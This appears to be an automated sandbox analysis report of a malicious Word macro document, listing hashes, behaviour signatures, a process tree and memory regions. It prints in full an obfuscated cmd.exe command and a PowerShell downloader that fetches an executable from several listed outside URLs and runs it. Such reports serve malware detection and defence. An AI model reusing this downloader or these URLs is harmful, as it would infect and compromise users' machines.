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Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    02/06/2024, 06:02

General

  • Target

    8d1c3a8567d4783dd0eeda20eab00b5b_JaffaCakes118.doc

  • Size

    69KB

  • MD5

    8d1c3a8567d4783dd0eeda20eab00b5b

  • SHA1

    9c993205778a28a8e71a0315c7c32ac46a36a405

  • SHA256

    158bd5360e8a314ea7eb641808de86cde3e55bae9829d5c8f2a7e7e44b791b81

  • SHA512

    05421d307d863a950715ea10ae40662d06d6d968b1c2f19c0a31a8d019f8e72a5c47e20750fbf53cf27c767febcc2df9bda024dc08fa146ddaaf9bb66eb5717a

  • SSDEEP

    768:QpJcaUitGAlmrJpmxlzC+w99NB7+1oALIH5E+4Iwsp/6Z1DpXC:QptJlmrJpmxlRw99NB7+aA9+3wspyzV

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bioners.com/X8nV8i

exe.dropper

http://otiaki.com/33EKwRe

exe.dropper

http://bc-cdc.org/x

exe.dropper

http://marienthal.info/gIAl3AM

exe.dropper

http://jingtianyanglao.com/iaM5oV8

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d1c3a8567d4783dd0eeda20eab00b5b_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2068
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V/C"^se^t J^dk=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^t^ac^};k^aerb^;^h^tw$^ m^e^t^I-^ek^ovn^I^;)^htw^$ ,J^Hq^$(^el^iFda^oln^woD^.c^dw^$^{^yr^t^{)Cli$^ ni^ ^JH^q^$(hca^er^of;'exe^.^'^+N^Jw$+^'\'+cilb^up^:vne^$=h^tw^$^;^'^0^9^9^' =^ N^Jw^$;)'^@'(^til^p^S^.^'^8Vo^5Ma^i/m^oc.oa^lgn^ayn^a^itgn^ij//^:^p^t^th@^M^A3lAIg/ofni.^l^a^htneiram//:^ptth@^x/^gro.cdc^-cb//:p^tt^h^@eR^wKE^3^3/moc^.^ikait^o//^:ptth@^i8Vn8X/moc.^sren^oib//:ptt^h'^=Cl^i$^;^tn^e^ilC^be^W^.^teN^ ^tc^ej^b^o^-wen=c^dw$^ ^l^l^eh^sr^e^w^o^p&&for /L %^e ^in (^3^47^;^-^1^;^0)d^o s^e^t 8^T^B=!8^T^B!!J^dk:~%^e,1!&&i^f %^e ^l^e^q ^0 c^a^ll %8^T^B:^*^8^TB!^=%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $wdc=new-object Net.WebClient;$ilC='http://bioners.com/X8nV8i@http://otiaki.com/33EKwRe@http://bc-cdc.org/x@http://marienthal.info/gIAl3AM@http://jingtianyanglao.com/iaM5oV8'.Split('@');$wJN = '990';$wth=$env:public+'\'+$wJN+'.exe';foreach($qHJ in $ilC){try{$wdc.DownloadFile($qHJ, $wth);Invoke-Item $wth;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1892

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      d0955b8efb4f07bbf39996eafaa8b73e

      SHA1

      1aebcde3c435a083c91b6db80d1c3ff87fc05cec

      SHA256

      2f1334a8764334f6be06478cb025011bf00c03f553a3f6dfc89e9631f029c732

      SHA512

      1278cee3bc85adfa3330f1fedcf3ff7544d2c94f91cc5e49631bbd602176bbe523e8bfdd61613b549f98b0c9d0a3f8b0999b1cac7f6267e0a6241ac864ff4cf0

    • memory/1868-0-0x000000002F651000-0x000000002F652000-memory.dmp

      Filesize

      4KB

    • memory/1868-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1868-2-0x0000000071AED000-0x0000000071AF8000-memory.dmp

      Filesize

      44KB

    • memory/1868-22-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/1868-24-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/1868-14-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/1868-21-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/1868-36-0x0000000071AED000-0x0000000071AF8000-memory.dmp

      Filesize

      44KB

    • memory/1868-37-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/1868-52-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1868-53-0x0000000071AED000-0x0000000071AF8000-memory.dmp

      Filesize

      44KB